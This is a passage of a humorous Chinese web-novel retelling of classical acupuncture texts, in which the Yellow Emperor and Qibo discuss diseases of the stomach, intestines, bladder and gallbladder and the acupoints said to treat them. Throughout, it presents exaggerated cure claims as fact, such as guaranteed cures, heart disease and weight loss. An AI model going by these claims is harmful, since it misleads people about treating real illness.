岐伯便开始详细讲解起来：“这上巨虚啊，它位于小腿的前外侧，具体位置呢，你得先找到足三里。足三里你知道吧？那可是个养生大穴，位置在膝盖的外侧，向下大约四横指的地方。找到足三里后，你再往下量三横指，然后往旁边挪一小点儿，那儿就是上巨虚啦。这个穴位啊，就像是大肠病的‘克星’，只要针灸一下，大肠病就得乖乖投降了。” 黄帝一听，觉得十分神奇：“原来这上巨虚这么厉害啊！那它具体有啥作用呢？” 岐伯说：“这上巨虚啊，作用可大了去了。它不仅能治疗大肠病，像是腹痛、腹泻、便秘这些，统统不在话下。而且啊，它还能调和肠胃、疏通经络，让你的肠胃变得更强壮，吃嘛嘛香，身体倍儿棒！你说这穴位神不神？” 黄帝一听，连连点头：“神！太神了！这中医真是博大精深啊！” 岐伯又说：“不过啊，黄帝，这穴位虽然好，但也不能滥用哦。针灸这事儿啊，得找专业的医生来操作，不然的话，扎错了穴位可就麻烦了。就像你做饭一样，食材和调料都得适量，不然做出的菜可就不好吃了。” 黄帝一听，哈哈大笑：“岐伯，你这比喻打得真好！看来啊，我这中医知识还得继续跟你学习呢！” 岐伯也笑了起来：“黄帝啊，你谦虚了。咱们互相学习，共同进步嘛！对了，说到这大肠病啊，我还得提醒你一句，要想预防大肠病，那平时就得注意饮食卫生，多吃蔬菜水果，少吃油腻和垃圾食品。还有啊，要养成定时排便的好习惯，别总是憋着不上厕所，不然的话，这大肠可就要‘造反’了！” 黄帝突发奇想，对着身边的岐伯说：“嘿，岐伯，我想听听关于六腑里胃病的那些事儿，你给讲讲呗？” 岐伯一听，心里暗笑：这黄帝大佬又开始求知欲爆棚了。于是，他清了清嗓子，一本正经地开讲：“胃病啊，那可是个让人头疼的家伙。得了胃病的人，肚子会胀得跟个大气球似的，胃脘那地方，就在心口窝那儿，疼得让人直哼哼。而且啊，这疼痛还会往上窜，跑到两胁那里去捣乱。更糟糕的是，膈肌和咽喉之间就像被堵住了似的，吃啥都咽不下去，那叫一个难受啊！” 黄帝一听，眉头紧锁：“这可如何是好？有没有啥妙招能搞定这胃病？” 岐伯微微一笑，卖了个关子：“当然有啦！不过，这可得靠咱们中医的针灸大法。你得记住一个穴位，那就是‘足三里’！” 黄帝一听“足三里”，眼睛一亮：“哦？这足三里是何方神圣？快给我细细道来！” 岐伯一看黄帝这求知若渴的样子，心里那叫一个得意。他清了清嗓子，开始详细讲解：“这足三里啊，那可是咱们中医里的明星穴位！它位于小腿前外侧，犊鼻穴下3寸，胫骨前嵴外一横指的地方。你想象一下，把你的小腿当成一根大萝卜，犊鼻穴就是萝卜头那儿，往下一量3寸，再往旁边一挪，嘿，就是那儿了！” 黄帝一听，哈哈大笑：“你这比喻可真够形象的！那足三里这穴位到底有啥神奇之处呢？” 岐伯故作神秘地说：“这足三里啊，作用可大了去了！它是胃经的合穴，也是胃的下合穴。合穴嘛，就像是经络里的‘收费站’，能把气血汇聚起来，然后再分配给全身。所以这足三里啊，就是胃经的‘大管家’，能调理脾胃、补中益气、通经活络、疏风化湿。你针灸它一下，胃病啥的，统统都得靠边站！” 黄帝一听，眼睛都快冒绿光了：“这么神奇？那赶紧给我说说，这足三里具体是怎么治胃病的？” 岐伯一看黄帝这迫不及待的样子，心里那叫一个乐呵。他慢悠悠地说：“这足三里啊，针灸它一下，就能让气血流通起来，把胃里的胀气给排出去，胃脘那儿也就不疼了。而且啊，它还能让脾胃的功能恢复正常，吃东西也就顺畅多了。所以啊，这足三里啊，简直就是胃病的克星！” 黄帝一听，那叫一个满意：“不错不错！看来以后得多学学这中医的针灸大法啊！” 说到这里啊，咱们得先插一嘴。这足三里啊，可不仅仅是个治胃病的能手。它还能调理好多其他毛病呢！比如说啊，你要是感觉身体虚弱、免疫力差、容易感冒啥的，针灸一下足三里，立马就能让你精神焕发、活力满满！还有啊，你要是感觉头晕目眩、失眠多梦啥的，针灸一下足三里，也能让你睡得香、精神好！ 黄帝清了清嗓子，故作神秘地说：“岐伯啊，朕最近对六腑之病颇感兴趣，尤其是小肠病，你给朕讲讲呗。” 岐伯一听，心里暗笑，这黄帝老爷子又开始他的“医学十万个为什么”了。但岐伯毕竟是医学大家，面上不动声色，恭敬地回答道：“陛下，小肠病这事儿啊，说起来可有意思了。小肠病患者啊，通常会感到小肚子疼，就像是有人在里面捣乱似的。这还不算，腰和脊背也会跟着遭殃，连带着睾丸也疼，那叫一个酸爽。有时候啊，上完厕所后，耳朵前面还会莫名其妙地发热，或者冷得要命。更神奇的是，有的人肩膀上热得跟火炉似的，特别是手小指旁边的那根指头，热得能煎蛋。要是把脉的话，还会发现脉象陷下去了。这些啊，都是小肠病的典型症状，医学上称之为‘手太阳小肠经病’。” 黄帝一听，眼睛瞪得跟铜铃似的：“哎呀妈呀，这小肠病还挺会玩儿啊！那咋治呢？” 岐伯微微一笑，神秘地说：“陛下别急，咱们中医有独门秘籍——针灸疗法。治疗小肠病啊，有个穴位特别管用，名叫‘下巨虚’。不过为了更准确地定位和治疗，我得先给您科普一下现代穴位经络的知识。” 黄帝一听要科普，立刻来了精神，坐直了身子：“来来来，岐伯，赶紧开课！” 岐伯清了清嗓子，开始了他的“爆笑针灸课”：“首先啊，咱们得知道，人体有十二条正经，其中手太阳小肠经就是其中之一。它起于小指尺侧端（少泽穴），沿着手臂外侧上行，经过肩胛、颈部，最后进入耳中（听宫穴）。咱们今天要说的‘下巨虚’啊，其实是足阳明胃经上的一个穴位，但它在治疗小肠病上也有奇效。为啥呢？因为中医讲究经络相通，表里相应嘛。” 黄帝听得津津有味，忍不住插嘴：“那下巨虚到底在哪儿呢？朕好想找找看。” 岐伯指了指黄帝的脚：“陛下请看，下巨虚位于小腿前外侧，当犊鼻下9寸，距胫骨前缘一横指（中指）处。您试着找找看，是不是有个酸酸涨涨的地方？” 黄帝低头找了半天，终于找到了那个“酸酸涨涨”的穴位，忍不住揉了揉：“哎呀，还真有啊！这穴位有啥作用呢？” 岐伯解释道：“下巨虚啊，可是个多面手。它不仅能治疗小肠病引起的小腹痛、腰脊痛等症状，还能调理肠胃功能，治疗腹泻、便秘等消化系统疾病。更神奇的是，它还能缓解下肢疼痛、麻木等症状。怎么样？陛下，这穴位厉害吧？” 黄帝听得连连点头：“厉害厉害！那朕以后要是小肠不舒服了，就扎这个穴位呗？” 岐伯摇了摇头：“陛下啊，针灸这事儿可不能随便来。虽然下巨虚是个神奇的穴位，但也得讲究手法和深度。扎深了扎浅了都不行，还得看患者的体质和病情。所以啊，陛下要是真有小肠病的症状，还是得找专业的中医大夫来瞧瞧。” 黄帝一听，顿时泄了气：“哎呀，朕还以为学会了这个穴位就能自给自足了呢。看来啊，还是得靠你们这些专家才行。” 岐伯笑了：“陛下谦虚了。不过话说回来，中医这东西啊，博大精深，可不是一朝一夕就能学会的。陛下要是真感兴趣啊，得多读读书，多跟咱们这些中医大夫交流交流才行。” 黄帝一听，立刻来了精神：“对对对！朕这就下令，让全国的大夫都来给朕上课！朕要把中医这门学问学个通透！” 岐伯一听，赶紧劝阻：“陛下啊，您这想法虽好，但也得悠着点儿啊。中医这东西啊，得慢慢品，急不得。您要是一下子学太多，反而容易消化不良呢。” 黄帝一听，顿时乐了：“哈哈哈！岐伯啊岐伯，你果然是个幽默的老头儿！朕听你的，慢慢来！不过啊，朕还是得先学会扎这个下巨虚穴才行，万一哪天朕的小肠闹脾气了，朕也好自救啊！” 岐伯一听，也忍不住笑了：“好好好说到下巨虚这个穴位啊，它其实还有很多其他的神奇之处呢！比如啊，它还能治疗乳腺炎、乳腺增生等妇科疾病。这是因为啊，中医讲究“经络相通”，足阳明胃经与乳房有着密切的联系。所以啊，刺激下巨虚穴啊，就能疏通经络、调和气血、缓解疼痛等症状。 而且啊，下巨虚穴还是个“双向调节”的穴位呢！也就是说啊，它既能治疗腹泻、又能治疗便秘。这是因为啊，中医讲究“平衡”，人体内的各种生理功能都得保持在一个相对平衡的状态才行。所以啊，当下巨虚穴受到刺激时啊，它就会根据人体的具体情况来发挥不同的治疗作用。如果肠道功能亢进（比如腹泻）啊，它就会抑制肠道的蠕动；如果肠道功能减退（比如便秘）啊，它就会促进肠道的蠕动。这样一来啊，人体的肠道功能就能保持在一个相对平衡的状态啦！ 当然啦！要想让下巨虚穴发挥最佳的治疗效果啊，还得配合其他穴位和治疗方法才行。比如啊，对于小肠病引起的疼痛症状啊，咱们还可以配合按摩足三里、上巨虚等穴位来缓解疼痛；对于消化系统疾病啊，咱们还可以配合艾灸、拔罐等疗法来调理肠胃功能。这样一来啊，治疗效果就会更加显着啦！ 邪气藏府病形篇第四（九） 话说有一天，黄帝闲来无事，就对岐伯说：“岐伯啊，咱们聊聊六腑的病吧，特别是那个三焦，它要是病了会咋样？”岐伯一听，嘿，这可是个技术活儿，得好好给黄帝讲解讲解。于是，他清了清嗓子，开始了他的“医学脱口秀”。 岐伯说：“皇上啊，您要是想知道三焦病了会怎样，那我得告诉您，这事儿可大了去了！三焦要是病了，那肚子里的气可就满了，特别是小腹，硬得跟石头似的，想撒尿都撒不出来，那叫一个急啊！要是这气再往上冲，水就溢出来了；要是往下堵，那就胀得跟气球一样了。” 黄帝一听，这病可真够难受的。于是他又问：“那咱怎么看出来是三焦病了呢？”岐伯说：“这事儿啊，您得看足太阳经外面的大络，就是那个在太阳经和少阳经之间的地方，要是看到脉搏跳动得厉害，那就有可能是三焦病了。” 黄帝一听，这方法挺玄乎啊，又问：“那咋治呢？”岐伯说：“简单，取委阳穴就行了。”黄帝一听，这名字还挺文艺，又问：“这委阳穴在哪儿啊？有啥作用？” 岐伯一听，这皇上还挺好学，于是就开始了他的“穴位讲解大会”。 “皇上啊，这委阳穴啊，它就在膝盖的后面，腘窝的外侧，您把腿伸直，然后摸到那个腘窝，再往外侧一摸，嘿，就找到了！这穴位啊，它是足太阳膀胱经的穴位，跟三焦经那可是亲戚关系。您要是刺激它啊，那三焦里的气就通顺了，小腹也就不那么胀了，撒尿也就顺畅了。” 说到这里啊，我还得给您科普一下这个三焦。这三焦啊，它是中医里的一个概念，它包括了咱们身体里的上焦、中焦和下焦。上焦啊，它主要是心肺这些器官；中焦啊，它主要是脾胃这些器官；下焦啊，它主要是肝肾这些器官。这三焦啊，它们就像是一个大家庭里的三个兄弟，各有各的职责，但又互相联系、互相影响。所以啊，要是其中一个兄弟出了问题啊，那其他两个兄弟也得跟着倒霉。 黄帝悠闲地坐在龙椅上，突发奇想，对身边的岐伯说：“岐伯啊，咱聊聊六腑的病吧，特别是膀胱那块儿的。我这心里老惦记着，你给说道说道。” 岐伯一听，嘿，这话题有意思，于是清了清嗓子，缓缓道来：“得嘞，陛下您听好了。膀胱这家伙要是出了毛病，那症状可不少呢。首先啊，您会感觉小肚子一侧，就像被气球吹鼓了一样，又肿又疼。这时候，您要是一伸手去按，哎哟，那酸爽，简直就想立马跑去厕所解决一番，结果呢，却啥也尿不出来，那叫一个憋屈。” 黄帝一听，乐了：“哈哈，这膀胱还挺会逗人玩儿呢。那还有啥症状？” 岐伯接着说：“别急嘛，症状还多着呢。您要是膀胱有问题，肩膀上说不定还会热乎乎的，跟贴了个暖宝宝似的。更神奇的是，要是您一摸自己的脉，发现它陷下去了，那可得小心了，脚小趾外侧、小腿肚子后面到脚踝那一块儿，也都跟着发烧似的热烘烘的。” 黄帝眨巴眨巴眼睛：“哦？这膀胱病还玩起全身串联来了？那咋治呢？” 岐伯微微一笑：“治它也不难，咱们中医有针灸这一绝活儿。要是脉陷下去了，咱就扎一针‘委中穴’，保证药到病除。” 黄帝一听，来了精神：“委中穴？听起来挺神秘的嘛，快说说，这穴位在哪儿？有啥妙用？” 岐伯捋了捋胡子，开始详细讲解：“这委中穴啊，它位于咱们膝盖后面的正中央，您把腿一弯，膝盖窝那儿最鼓的地方，就是它了。这穴位啊，可是个宝贝，它是足太阳膀胱经的合穴，也是四总穴之一，中医里有句话，‘腰背委中求’，意思就是腰背部的问题，找委中穴准没错。它不仅能治膀胱病，还能缓解腰痛、背痛、腿痛，甚至是坐骨神经痛。扎上一针，保管您浑身舒畅，走路都带风。” 黄帝听得津津有味，忍不住插话：“嘿，这穴位这么厉害，那咱们中医的针灸是不是跟变魔术似的，一针下去，啥病都没了？” 岐伯摇了摇头，笑道：“陛下您这可就冤枉针灸了。针灸虽然神奇，但也不是万能的。它得配合咱们中医的望闻问切，找准病因，对症下药才行。而且啊，针灸讲究的是手法、力度、深浅，还有时间，可不是随便扎扎就行的。” 黄帝点了点头，若有所思：“原来如此，看来中医这门学问，还真是博大精深啊。” 岐伯接着补充：“可不是嘛，中医这东西，讲究的是天人合一，阴阳平衡。膀胱病啊，说白了就是膀胱这个‘小水库’里的水太多了，排不出去，或者是水太少，干巴巴的。咱们针灸啊，就像是给这个‘小水库’开闸放水，或者是引水灌溉，让它恢复到正常状态。” 黄帝一听，哈哈大笑：“岐伯啊， 你这么一说，我这心里就透亮多了。原来中医针灸是这么回事儿啊！那以后咱们得多聊聊，让我这龙体也沾沾光，学学养生之道。” 岐伯也笑了：“陛下您客气了，能为陛下分忧，是臣的荣幸。不过啊，养生之道，重在平时，陛下您得多注意休息，饮食有节，少熬夜，这样才能长命百岁啊。” 黄帝一听，连连点头：“对对对，你说得对。我以后一定注意，咱们君臣共勉，一起把身体养得棒棒的！” 说到这里，黄帝突然话锋一转：“岐伯啊，你说这膀胱病要是拖久了，会不会有啥大问题啊？” 岐伯神色一凛：“那当然了，陛下。膀胱病啊，可不能小瞧。要是拖久了，可能会引起尿路感染、肾结石、甚至影响肾功能呢。所以啊，一旦发现有膀胱病的症状，还是得及时就医，可别耽误了病情。” 黄帝一听，神色也变得严肃起来：“嗯，你说得对。健康这事儿，可马虎不得。以后啊，咱们得多宣传宣传中医养生，让老百姓们都重视起来。” 岐伯点头称是：“陛下英明。中医养生啊，确实是个好东西。它不仅能治病，还能防病，让人少受病痛折磨。咱们得多推广，让更多人受益。” 有一天，黄帝闲来无事，就对岐伯说：“岐伯啊，咱们聊聊六腑的病吧，我特别想知道胆病是个啥情况？”岐伯一听，心想这黄帝还真是好学不倦啊，于是就慢悠悠地回答：“胆病啊，那可是个有意思的家伙。得了胆病的人，整天就爱唉声叹气，跟个林黛玉似的。嘴里还苦苦的，吃什么都不香。更有趣的是，他们还会吐隔夜饭，你说恶不恶心？心里头还老觉得空落落的，好像有人随时要抓他似的，整天提心吊胆的。” 黄帝一听，笑得差点没岔气：“哈哈，这胆病还真是个奇葩！那他们还有啥症状啊？”岐伯接着说：“还有啊，他们的嗓子眼儿里老‘吤吤’地响，跟有痰咳不出来似的，还老吐痰。这些症状啊，都跟足少阳胆经有关。要想治这病，咱们得看看足少阳胆经的本穴和末穴，要是发现哪个穴位陷下去了，咱就给它灸一灸。要是病人还忽冷忽热的话，那就得取阳陵泉这个穴位了。” 黄帝一听，眼睛一亮：“哦？阳陵泉？这名字听起来还挺高大上的嘛！快说说，这穴位在哪儿？有啥作用？”岐伯笑了笑，开始详细讲解起来。 “阳陵泉啊，它可是个宝藏穴位！它就藏在咱们小腿的外侧，腓骨小头前下方凹陷处。你摸摸看，是不是有个软软的窝？对，就是那儿！这个穴位啊，是胆经的下合穴，也是八会穴之一的筋会。它就像是咱们身体里的一个‘舒筋活络大师’，专门负责调理筋骨方面的问题。比如说啊，你要是觉得膝盖疼、腿抽筋啥的，揉揉这个穴位，保证你立马舒服多了！” 黄帝听得津津有味，忍不住插嘴道：“那胆病跟筋骨还有啥关系啊？”岐伯摆了摆手：“别急嘛，听我慢慢道来。胆啊，在中医里可是个‘刚脏’，它喜欢条达、疏泄，就像个爱自由的小伙子似的。要是胆气郁结、不通畅了，那身体就会出各种问题。比如说啊，筋骨得不到胆气的滋养，就会变得僵硬、不灵活。所以啊，治疗胆病的时候，咱们也得考虑调理筋骨方面的问题。” 黄帝有一天闲来无事，就溜达到了岐伯的医馆。岐伯正坐在那里，手拿银针，专注地给一个病人治疗。黄帝一看，来了兴趣，便问：“岐伯啊，你这针灸之术，有没有什么独门秘籍啊？” 岐伯抬头一看，原来是黄帝驾到，连忙放下手中的银针，恭敬地回答：“皇上啊，这针灸啊，可是个技术活。要想针灸效果好，那必须得找准气穴，可千万别扎到肉节上。” 黄帝一听，眉头一皱：“气穴？肉节？这都是啥玩意儿？” 岐伯一看黄帝这表情，就知道他没听懂，于是开始详细解释起来。 岐伯清了清嗓子，开始娓娓道来：“这气穴啊，其实就是咱们人体经络上的重要穴位。这些穴位就像是人体的一个个开关，能调节气血的运行。要是针灸能扎到这些穴位上，那效果可就更好了。” 黄帝一听，点了点头：“哦，原来是这样啊。那肉节又是啥呢？” 岐伯叹了口气：“肉节啊，就是咱们皮肤、肌肉上的那些硬结、包块啥的。这些地方气血运行不畅，要是针灸不小心扎到这里，那可就麻烦了。” 黄帝一听，顿时恍然大悟：“原来如此啊！那要是针灸没扎对地方，会发生啥事呢？” 岐伯接着说：“要是针灸没扎到气穴，反而扎到了肉节上，那可就惨了。针在肉节里游走，那皮肤可得疼得要命啊！还有啊，针灸还有补泻之分。要是补泻搞错了，那病情可能还会加重呢！” 黄帝一听，吓了一 跳：“这么严重啊！那要是针灸扎到了筋上呢？” 岐伯无奈地摇了摇头：“那更麻烦了。要是针灸扎到了筋上，那筋可就会松弛无力了。这样一来，邪气可就出不去了，会和正气在体内打架，搞得人体混乱不堪。要是用针不仔细，那可就真的是南辕北辙、越治越糟了。” 黄帝一听，连忙点头：“对对对，你说得对。看来针灸这事儿，还真得好好学学啊！” 黄帝一听岐伯这么说，顿时来了兴趣。他连忙问岐伯：“那你能跟我说说，这些气穴都在哪儿吗？它们都有些啥作用啊？” 岐伯一听黄帝这么问，知道他是真的对针灸感兴趣了。于是，他开始详细地为黄帝介绍起这些穴位来。 “皇上啊，你看这手上的合谷穴。它就在咱们大拇指和食指之间的凹陷处。”岐伯边说边指了指自己的手，“这个穴位啊，可是个万能穴。它能缓解头痛、牙痛、痛经等各种疼痛，还能增强免疫力呢！” 黄帝一听，眼睛一亮：“这么神奇啊！那我得赶紧试试。” 岐伯笑了笑，接着说：“还有这腿上的足三里。它就在咱们膝盖外侧的凹陷处，往下三寸的地方。” 黄帝一听，摸了摸自己的腿：“哦，这个地方啊。我听说按摩这个地方能减肥，是真的吗？” 岐伯点了点头：“没错，按摩足三里确实能减肥。不过啊，它可不止这个作用。它还能调理脾胃、增强体力呢！” 黄帝一听，更加感兴趣了：“那还有其他穴位吗？” 岐伯接着说：“当然有啊。你看这手腕上的内关穴。它就在咱们手掌内侧，手腕横纹往上两寸的地方。” 黄帝一看，摸了摸自己的手腕：“这个地方啊，我听说能治疗心脏病，是真的吗？” 岐伯笑了：“没错，内关穴可是治疗心脏病的要穴。不过啊，它还能缓解晕车、呕吐等症状呢！” 黄帝一听，眼睛瞪得圆圆的：“这么神奇啊！那还有其他穴位吗？” 岐伯神秘地笑了笑：“还有啊，你看这肚脐上的神阙穴。它可是个养生大穴啊！” 黄帝一听，摸了摸自己的肚脐：“这个地方也能针灸啊？” 岐伯点了点头：“不可以针，但可以灸。神阙穴能调理肠胃、温阳固脱，还能延缓衰老呢！” 黄帝一听，更加兴奋了：“那还有其他穴位吗？快跟我说说。” 岐伯接着说：“还有这背上的命门穴。它就在咱们第二腰椎棘突下，与肚脐相对的地方。” 黄帝一听，摸了摸自己的腰：“这个地方啊，我听说能补肾壮阳，是真的吗？” 岐伯点了点头：“没错，命门穴可是补肾壮阳的要穴。不过啊，它还能治疗腰痛、遗尿等症状呢！” 黄帝一听，乐开了花：“哈哈，原来针灸有这么多好处啊！那还有没有其他穴位呢？” 岐伯耐心地回答：“当然有啊。你看这脚上的太溪穴。它就在咱们脚踝内侧，内踝尖与跟腱之间的凹陷处。” 黄帝一听，看了看自己的脚：“这个地方啊，我听说能治疗失眠、健忘等症状，是真的吗？” 岐伯点了点头：“没错，太溪穴可是治疗失眠、健忘的要穴。不过啊，它还能滋阴补肾、调理月经呢！” 黄帝一听，笑得合不拢嘴：“哈哈，针灸真是太神奇了！那还有没有其他穴位呢？” 岐伯想了想，说：“还有这头顶上的百会穴。它就在咱们头顶正中央，两耳尖连线的中点处。” 黄帝一听，摸了摸自己的头顶：“这个地方啊，我听说能提神醒脑、治疗头痛，是真的吗？” 岐伯点了点头：“没错，百会穴可是提神醒脑、治疗头痛的要穴。不过啊，它还能治疗中风、失眠等症状呢！” 黄帝一听岐伯介绍了这么多穴位和它们的作用，顿时笑得合不拢嘴：“哈哈，原来针灸有这么多好处啊！看来我得好好学学这门技术了。” 根结篇第五（一） 黄帝陛下，突然对身边的岐伯说：“嘿，岐伯啊，我这心里头有个事儿一直憋着难受，就是想问问你，这阴阳之道到底是个啥玩意儿？你说咱们老祖宗传下来的这东西，咋就这么神乎其神的呢？” 岐伯一听，嘿，这可是个大问题啊，得好好给黄帝陛下说道说道。于是他清了清嗓子，摆出一副老中医的架势，缓缓道来：“陛下啊，这事儿说来话长，不过既然您问了，那我就得给您讲得明明白白的。您看这天和地，它们俩是不是天天都在那儿眉来眼去的？一个阳光明媚，一个阴雨绵绵，这不就是天地相感嘛！就像您和后宫的娘娘们，那也是得有感情交流才能和谐共处不是？” 黄帝一听，差点没忍住笑出声来，心想这岐伯老兄还真是会聊天，啥都能扯到男女之情上去。不过他转念一想，嘿，这比喻还挺贴切，于是继续听岐伯往下说。 岐伯接着讲：“这天地之间啊，还有寒来暑往，四季更替，这不就是寒暖相移嘛！就像咱们人体啊，有时候觉得热得要命，恨不得把衣服都脱了；有时候又觉得冷得直哆嗦，恨不得把棉被都裹上。这其实都是阴阳在咱们身体里头作怪呢！” 黄帝一听，觉得岐伯说得挺有道理，于是点了点头，示意岐伯继续。 岐伯一看黄帝陛下这反应，心里头那个美啊，知道自己这开场白算是成功了。于是他更加卖力地讲了起来：“陛下啊，这阴阳之道啊，说白了就是一对儿欢喜冤家。阴道呢，就像是那温柔如水的女子，讲究的是个偶数，成双成对儿的；而阳道呢，就像是那刚猛如火的男子，讲究的是个奇数，独树一帜的。您说这男女之间啊，要是没了这阴阳调和，那还不得乱套了啊？” 黄帝一听，这回是真的忍不住笑出声来了：“哈哈，岐伯老兄啊，你这比喻可真是绝了！不过话说回来，这阴阳之道在咱们中医里头，到底是怎么个用法呢？” 岐伯瞅见黄帝陛下那双充满好奇的眼睛，闪烁着对知识的无限渴望，心里头那个美呀，仿佛自己瞬间化身为即将揭开宇宙终极秘密的超级大师！他清了清嗓子，深吸一口气，故作神秘地开了腔：“陛下啊，您知道不？咱中医这阴阳之道啊，那可是无孔不入，无处不在的绝活儿！您看咱这人体构造，上有头下有脚，前有胸后有背，左胳膊右胳膊，这不就是活生生的阴阳写照嘛！简直就是自然界的缩影，大自然的完美复刻版！ 再说到咱中医的拿手好戏——辨证施治，那简直就是阴阳平衡的艺术再现！咱得像个细心的园丁，时刻观察着身体的每一寸土地，看看哪儿缺水了（阴虚），哪儿肥料过多了（阳虚），然后赶紧动手调理。不然啊，这身体的小花园可就要乱套了，杂草丛生，花朵凋零，那可就是大大的不妙啦！ 所以说啊，陛下，咱这阴阳之道，就像是生活中的调味剂，少了它，啥味儿都没了！咱们得好好琢磨琢磨，把它运用到生活的方方面面，让咱的身体和精神都达到最佳的和谐状态！嘿嘿，您说是不？” 黄帝一听，觉得这岐伯说得头头是道，心里头那个佩服啊，简直就像是看到了神仙下凡一样。不过他转念一想，嘿，这岐伯老兄虽然说得挺好，但自己还是得考考他，看看他到底是不是真的懂阴阳之道。 于是黄帝故意装作一副疑惑的样子：“哦？那这阴阳平衡要是打破了，会咋样呢？岐伯老兄啊，你可得给我讲讲清楚！” 岐伯瞅着黄帝陛下那故意找茬的小眼神儿，心里头那叫一个暗喜啊，感觉自己就像是即将登上“舌战群儒”大赛擂台的超级辩手，浑身的段子都快按捺不住了！他嘿嘿一笑，张口就来：“陛下啊，您这问题问得，简直是要把阴阳平衡这事儿给玩出花儿来啊！我跟您说啊，这阴阳要是闹别扭，分了家，那后果，啧啧，可就不敢想喽！” “您看哈，要是阳气这家伙太过头，跟打了鸡血似的，那您可得小心了，上火那是家常便饭，动不动就发脾气，跟个炮仗似的，一点就着，晚上还失眠，数羊能从喜羊羊数到灰太狼，愣是睡不着！反过来呢，要是阴气这位大爷太霸道，把阳气挤得没地儿站，那您就得裹成粽子了，体寒得跟南极企鹅似的，整天没精打采，软绵绵的，恨不得跟床来个天长地久的约会，连吃饭都得靠外卖小哥敲门叫醒呢！” “所以啊，咱们中医这门学问，说白了就是一门和事佬的艺术，专门负责给阴阳这两位大爷牵线搭桥，让他们握手言和，和平共处。身体里头阴阳和谐了，那就跟唱戏的找到了最佳拍档，一唱一和，那叫一个默契！这样一来，咱们才能健健康康，长命百岁，跟神仙似的逍遥自在嘛！” 黄帝一听，这回是 真的服了岐伯了。他心想这岐伯老兄不仅医术高超，而且口才也是一流的，难怪能在宫里混得风生水起呢！于是他拍了拍岐伯的肩膀，笑眯眯地说：“哈哈，岐伯老兄啊，你这阴阳之道讲得可真是透彻啊！以后啊，我这身体要是有啥不舒服的地方，还得靠你多给我调理调理呢！” 这章没有结束，请点击下一页继续阅读！ 岐伯一听，心里头那个美啊，感觉自己就像是得到了皇帝的赏识一样。于是他赶紧躬身行礼：“陛下过誉了！为陛下分忧解难，乃是微臣的本分！” 黄帝摸着下巴，一脸疑惑地问岐伯：哎，岐伯啊，我这心里老有个疙瘩，就是关于阴阳和补泻的那些事儿，你能给我讲讲不？ 岐伯笑眯眯地摇着扇子说：哎哟，陛下您这可是问到点子上了。这阴阳啊，就像是咱们家的厨房和卧室，一个热乎乎，一个冷冰冰，得调和得当才行。至于补泻嘛，那就是给身体这台机器加油或者泄气的方法啦！ 黄帝眼睛一亮，接着问：哦？那快说说，要是病在春夏季节，这阴阳该怎么调，补啥泻啥呢？ 岐伯清了清嗓子，继续说道：这春夏啊，就像是咱们家的旺季，阳气那是蹭蹭地往上涨，阴气呢，就显得有点力不从心了。这时候要是阴阳不调，身体就容易出问题。比如说吧，你要是觉得热得慌，那就是阳气太多了，得泻泻火。这时候啊，就得用到咱们中医的“泻法”，就像是给车胎放气一样，让多余的阳气出去。 黄帝若有所思：那泻哪里呢？ 岐伯指了指手臂，说道：比如说这“曲池穴”吧，它就在咱们手臂上，弯起胳膊肘，肘横纹外侧端与肱骨外上髁连线中点，就是它了。这穴位啊，就像是身体里的“热气排放口”，扎上一针，保证你立马觉得凉快多了。当然了，要是觉得冷飕飕的，那就是阴气不足了，得补补阳气。这时候啊，就得用到“补法”，就像是给车胎打气一样，让阳气充足起来。 黄帝瞪大眼睛，好奇地问道：这么神奇？那秋冬季节呢？ 岐伯点了点头，解释道：秋冬季节啊，就像是咱们家的淡季，阳气开始收敛，阴气逐渐占据上风。这时候啊，要是阴气太盛，阳气太弱，身体就容易出问题。比如说吧，你会觉得四肢冰凉，没精打采的，那就是阳气不足了。这时候啊，就得补补阳气了。 黄帝挠挠头，问道：那补哪里呢？ 岐伯指了指腰部，继续说道：比如说这“肾俞穴”吧，它就在咱们腰部，第二腰椎棘突旁开1.5寸。这穴位啊，就像是身体里的“阳气加油站”，扎上一针，保证你立马觉得精神焕发，四肢温暖。当然了，要是觉得心里烦躁，那就是阴气太多了，得泻泻阴气。这时候啊，就得用到“泻法”了。 黄帝恍然大悟道：原来如此啊！那要是这些奇奇怪怪的邪气离开了经络，乱跑一气，咱们该怎么办呢？ 岐伯皱了皱眉，神色严肃起来：这邪气啊，就像是调皮捣蛋的孩子，一不小心就跑偏了。要是不知道经络的根结和五脏六腑的关系，那就容易出大乱子了。就像是家里的门锁坏了，门轴也断了，那门不就关不上了嘛！身体也是一样的道理啊，经络要是乱了套，那身体可就遭殃了。 黄帝紧张兮兮地追问：那怎么办呢？ 岐伯嘿嘿一笑，摆摆手说道：“哎呀，陛下，您别急嘛！咱们中医这行当啊，有套九针大法，那可真是神乎其技，就像是随身带着九把万能钥匙，随便哪一把都能打开身体里的各种神秘小锁呢！ 不过啊，这钥匙好用归好用，关键还是得知道那些经络的终始，这就好比您得清楚每把锁的开关在哪儿，对吧？只要咱把经络的终始摸透了，那针灸这门学问啊，对您来说就跟看动画片似的，一目了然，简单得很！ 可要是您对这些经络的终始一窍不通，那可就不好办了，针灸起来就像是没头苍蝇一样，到处乱撞，说不定还会惹出点小麻烦来呢！所以啊，咱们还是得多学学，多练练，争取早日成为针灸界的‘开锁大师’！” 黄帝拍手叫好道：好啊！岐伯啊，你这讲得太清楚了！那你能不能再给我讲讲这些穴位的具体位置和作用啊？ 岐伯笑了笑，继续开讲：没问题啊，陛下。那咱们就先从“曲池穴”说起吧。这“曲池穴”啊，就像是咱们手臂上的“热气排放口”，不仅能泻火，还能治疗手臂疼痛、高血压、咽喉肿痛等毛病。你摸摸看，是不是觉得这里有点热乎乎的？ 黄帝摸了摸，说道：还真是呢！那“肾俞穴”呢？ 岐伯指了指腰部，接着说：这“肾俞穴”啊，就像是咱们腰部 的“阳气加油站”，不仅能补肾壮阳，还能治疗腰痛、遗精、阳痿、月经不调等毛病。你敲敲看，是不是觉得这里有点酸酸涨涨的？ 黄帝敲了敲后腰：还真是呢！那还有其他穴位吗？ 岐伯点了点头，接着说：有啊，多了去了。比如说这“足三里穴”吧，它就在咱们小腿上，外膝眼下3寸，胫骨前嵴外1横指处。这穴位啊，就像是身体里的“大补丸”，能治疗胃痛、呕吐、腹胀、腹泻、便秘、消化不良等毛病。你按按看，是不是觉得这里有点酸胀酸胀的？ 黄帝按了按自己的小腿：还真是呢！那“合谷穴”呢？ 岐伯指了指手背，接着说：这“合谷穴”啊，就在咱们手背上，第一、二掌骨间，第二掌骨桡侧中点处。这穴位啊，就像是身体里的“止痛开关”，能治疗头痛、牙痛、痛经、感冒等毛病。你掐掐看，是不是觉得这里有点疼疼的？ 